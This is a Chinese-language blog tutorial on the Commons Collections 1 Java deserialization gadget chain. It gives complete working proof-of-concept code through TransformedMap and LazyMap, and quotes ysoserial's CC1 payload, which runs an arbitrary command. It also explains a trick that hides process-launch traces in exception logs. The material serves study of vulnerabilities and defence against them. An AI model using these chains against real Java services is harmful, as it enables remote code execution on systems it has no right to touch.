前言
分析了URLDNS链,那么开始Commons Collections系列链的分析
Commons Collections
Apache Commons是Apache软件基金会的项目,Commons
的目的是提供可重用的、解决各种实际的通用问题且开源的 Java 代码。Apache Commons Collections 是对 java.util.Collection
的扩展,在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。它增加了各异的集合和Map,常见的有FixedSizeList、SetUniqueList、TransformedList、PredicatedList、ListOrderedSet、Bag等集合拓展和TransformedMap、CaseInsensitiveMap、OrderedMap、LinkedMap、BidiMap、LazyMap等Map拓展。
环境准备
- Windows 10
- JDK版本:JDK8u71以下,这里使用的 JDK 1.7
- Commons Collections版本:3.1
利用maven进行项目管理,利用IDEA创建Maven项目,pom.xml内容如下
代码语言:javascript复制<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>maven</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
<properties>
<maven.compiler.source>7</maven.compiler.source>
<maven.compiler.target>7</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
</project>
预备知识
Transformer
org.apache.commons.collections.Transformer
是一个接口,提供了一个待实现的transform()
方法,用来定义具体的转换逻辑,方法接收Object
类型的input
,处理后将Object
返回。Commons Collections提供了多个Transformer的实现类用来实现不同的TransformedMap
类中key、value
进行修改的功能。
public interface Transformer {
Object transform(Object var1);
}
TransformedMap
org.apache.commons.collections.map.TransformedMap
类可以在一个元素被加入到集合内时自动对该元素进行特定的修饰变换,在decorate()
方法中,第一个参数为修饰的Map
类,第二个参数和第三个参数作为一个实现Transformer
接口的类,用来转换修饰的Map
的键、值(为null
时不进行转换);因此,当被修饰的map
添加新元素的时候便会触发这两个类的transform
方法。例如,
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);
keyTransformer
是处理新元素 Key 的回调,valueTransformer
是处理新元素 value 的回调,当我们向outerMap
中添加新元素时,它就会调用keyTransformer
或valueTransformer
里面的transform
方法
ConstantTransformer
org.apache.commons.collections.functors.ConstantTransformer
类也实现了Transformer
接口,它有一个带参构造函数,可以初始化时传入一个对象。并且实现了transform
方法,当调用transform
方法时直接将这个对象返回。这个类用于和ChainedTransformer
配合,将其结果传入InvokerTransformer
来调用我们指定的类的指定方法
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
InvokerTransformer
org.apache.commons.collections.functors.InvokerTransformer
类也实现了Transformer
接口,这是实现RCE的关键类。初始化时传入三个参数,第一个是要执行的方法名,第二个是方法需要传入的参数类型,第三个是方法需要传入的参数值。再看Transform
方法,method.invoke(input, this.iArgs);
可以看出需要利用 Java 反射机制获取想要执行的方法,然后调用transform
方法时就可以通过invoke
执行这个获取到的方法
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" this.iMethodName "' on '" input.getClass() "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" this.iMethodName "' on '" input.getClass() "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" this.iMethodName "' on '" input.getClass() "' threw an exception", var7);
}
}
}
ChainedTransformer
org.apache.commons.collections.functors.ChainedTransformer
类也实现了Transformer
接口,根据源码可以看出,该类初始化时传入了一个Transformer
数组,当调用transform
方法时,循环遍历传入的数组,并依次调用每个Transformer
的transform
方法,将前一个回调函数transform
返回的结果,作为后一个回调函数transform
的参数传入。这样就能将ConstantTransformer
返回的对象和InvokeTransformer
执行对象的方法串起来进行链式调用。
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
触发回调链实现RCE
这里以弹计算器为例,整个回调链逻辑为:创建一个存放Transformer
类型的数组,里面包含两个对象,ConstantTransformer
类初始化获取Runtime
类对象并返回;InvokeTransformer
类初始化获取exec
方法并传入参数类型和值calc
。将这个数组给ChainedTransformer
类初始化对象,将ChainedTransformer
对象作为keyTransformer
或valueTransformer
对Map做一个修饰。当向修饰后的Map中添加新元素时,就会自动调用作为keyTransformer
或valueTransformer
的ChainedTransformer
对象中的transform
方法,从而链式调用数组中Transformer
的transform
方法,将前一个Transformer
的返回值作为下一个Transformer
的参数不断调用,从而执行calc
系统命令弹出计算器
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1_1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
//TransformedMap⽤于对Map做⼀个修饰,传出的outerMap即是修饰后的Map
outerMap.put("name","ph0ebus");
//被修饰过的Map在添加任意新的元素时,执行回调
}
}
虽然这里通过手动向修饰过的Map添加新元素能触发一些回调函数而引发恶意执行,但在实际的漏洞利用环境中几乎没有能直接put
元素的环境,是需要把它变成反序列化流的,让它在反序列化后能够自动触发。但 Java 序列化需要类实现Serializable
接口,否则不能被序列化。Runtime类没有实现Serializable
接口,Runtime.getRuntime()
获取到的Runtime对象是不能被序列化的,这里就要用到反射机制了,反射通常是通过class方法生成的Class对象,Class实现了Serializable
接口而可以被序列化。
Method m = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) m.invoke(null);
r.exec("calc");
将这段写成Transformer
数组,当调用ChainedTransformer
的transformer
方法时,会对transformers数组进行一系列回调
Transformer[] transformers = new Transformer[] {
// 获取Class对象,可以被序列化
new ConstantTransformer(Runtime.class),
// public Method getMethod(String name, Class<?>... parameterTypes)
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
// public Object invoke(Object obj, Object... args)
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]}),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }),};
现在不能序列化的问题解决了,那如何在反序列化时自动触发这一系列回调呢?
反序列化过程需要执行对象的readObject
方法,也就是需要找到一个类的readObject
方法能调用transform
方法从而触发一系列回调,而这个类就是sun.reflect.annotation.AnnotationInvocationHandler
,它的readObject
方法如下
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() "[" var8 "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
当执行到setValue
方法时,这种类put
操作可以触发Transformer链的调用方法。所以需要创建一个AnnotationInvocationHandler
对象,将修饰好的Map放进来。因为这个构造方法是私有的,所以需要利用反射来实例化。这个类构造函数有两个参数,第一个是Annotation
子类,第二个参数是Map
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
而这里为啥要传入Retention.class
呢?这是因为在执行setValue
之前需要满足 if 判断才能进到setValue
方法
while(var4.hasNext()) {
// 遍历Map
Entry var5 = (Entry)var4.next();
// 获取Map的键名
String var6 = (String)var5.getKey();
// 在var3中寻找是否有键名为var6的值,如果在这里没有找到,则返回了null,
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() "[" var8 "]")).setMember((Method)var2.members().get(var6)));
}
}
}
满足 if 判断的条件就是
- AnnotationInvocationHandler构造函数第一个参数是Annotation子类且包含至少一个方法,假设为方法名为X
- TransformedMap.decorate修饰的Map中有一个键名为X的元素
Retention.class
就符合子类和至少一个方法的条件,方法叫value
,所以需要提前往Map中添加一个元素,它的键名为value
,值随意。
TransformedMap链-POC链
由于网络传输需要用字节流而不是字符流,就需要先ByteOutputStream
创建字节数组缓存区,再创建对象的序列化流后用writeObject
写入序列化流。
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
完整POC链为:
代码语言:javascript复制import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws Exception {
// 1.创建数组,用于回调链
Transformer[] transformers = new Transformer[]{
// 获取对象
new ConstantTransformer(Runtime.class),
// 获取方法,将返回值传递给下一个作为参数
// public Method getMethod(String name, Class<?>... parameterTypes)
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// public Object invoke(Object obj, Object... args)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
};
// 将链连接起来
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
// 放入键名为value的元素,符合if判断
innerMap.put("value", "ph0ebus");
// 修饰Map
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// 通过反射创建实例
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
System.out.println("对象序列化成功!");
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
System.out.println("对象反序列化成功!");
}
}
这个POC只有在Java 8u71以前的版本中才能执行成功,Java 8u71以后的版本由于Java 官方修改了sun.reflect.annotation.AnnotationInvocationHandler
中的readObject函数,具体可以看下面这篇文章:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d 改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。 所以后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了
在ysoserial的代码中,没有⽤到上面POC的TransformedMap
,而是改用了了LazyMap
LazyMap链
LazyMap 也来自于 Common-Collections 库,并继承AbstractMapDecorator
类。
LazyMap 的漏洞触发点和 TransformedMap 唯一的差别是:TransformedMap 是在写入元素的时候执行transform
,而 LazyMap 是在其get
方法中执行的factory.transform
。当在get
找不到值的时候,它会调用factory.transform
方法去获取一个值
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
跟进 factory
代码语言:javascript复制public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
代码语言:javascript复制// 构造方法
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
也就是调用LazyMap中decorate
方法,将恶意构造好的 Transformer 链作为第二个参数传入即可当 get 不到值的时候进行一系列调用
但怎么让它在反序列化时自动调用呢?
在TransformerMap链中,AnnotationInvocationHandler
类中的readObject
方法中会调用Map中的setValue
方法从而进行一系列回调,但AnnotationInvocationHandler
类中的readObject
方法中并没有直接调用Map中的get
方法,而是在AnnotationInvocationHandler
类中的invoke
方法中有调用到get
。这时候就比较麻烦了如何调用到AnnotationInvocationHandler
类中的invoke
方法呢?
这时候就需要用到动态代理的知识了
因为AnnotationInvocationHandler
类同样是实现了InvocationHandler
接口,那它相当于就是一个动态代理类,那我们就可以通过Proxy
的静态方法newProxyInstance
去动态创建代理,只要我们调用任意方法,都会进入到代理类的invoke
方法中,进而触发漏洞
所以POC链只需修改这部分逻辑
代码语言:javascript复制Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
最后要再实例化的原因是入口点是AnnotationInvocationHandler
的readObject
,而proxyMap是Map对象,入口不对,所以说我们再利用AnnotationInvocationHandler
对这个proxyMap
进行封装就好了
但是LazyMap
仍然无法解决CommonCollections1
在Java高版本(8u71以后)中的使用问题
ysoserial额外代码分析
ysoserial
中cc1的代码:
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// arm with actual transformer chain 最后才将真正具有危害的Transformer数组设置进去
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
审计代码,虽然里面有很多封装好的方法,但主要逻辑和前面分析的差不多的,可以看出 ysoserial 先new ChainedTransformer
假数组,最后再利用getDeclaredField
获取私有方法iTransformers
,把真正的Transformer
数组设置进去。
在前面放Transformer[]
假数组的原因是:使用了Proxy
代理了被修饰的Map对象时,我们在任何地方执行Map的方法时,都会触发Proxy#invoke
,从而执行命令弹出计算器。正常执行是没问题的,但是在调试时可能会弹两遍甚至是三遍计算器,这是因为调试器会在下面调用一些toString
之类的方法,导致不经意间就触发了命令。ysoserial
对此做出的处理就避免了本地生成序列化流的程序执行到命令
还有一个细节是ysoserial
中的Transformed
数组最后增加了一个new ConstantTransformer(1)
,这是为什么呢?
p神猜测是为了隐藏异常日志的一些信息,如果这里没有ConstantTransformer(1)
,命令进程对象将会被 LazyMap#get
返回,导致我们在异常信息里能看到这个特征
Exception in thread “main” java.lang.ClassCastException: java.lang.ProcessImpl cannot be cast to java.util.Set
如果我们增加一个 ConstantTransformer(1)
在TransformChain
的末尾,异常信息将会改变 ,隐蔽了启动进程的日志特征
Exception in thread “main” java.lang.ClassCastException: java.lang.Integer cannot be cast to java.util.Set
参考资料: https://xz.aliyun.com/t/11861 https://xz.aliyun.com/t/10357 https://www.anquanke.com/post/id/261724 http://arsenetang.com/2022/02/14/Java篇之CommonsCollections 6/ Java篇之ysoserial中的一些操作 | Arsene.Tang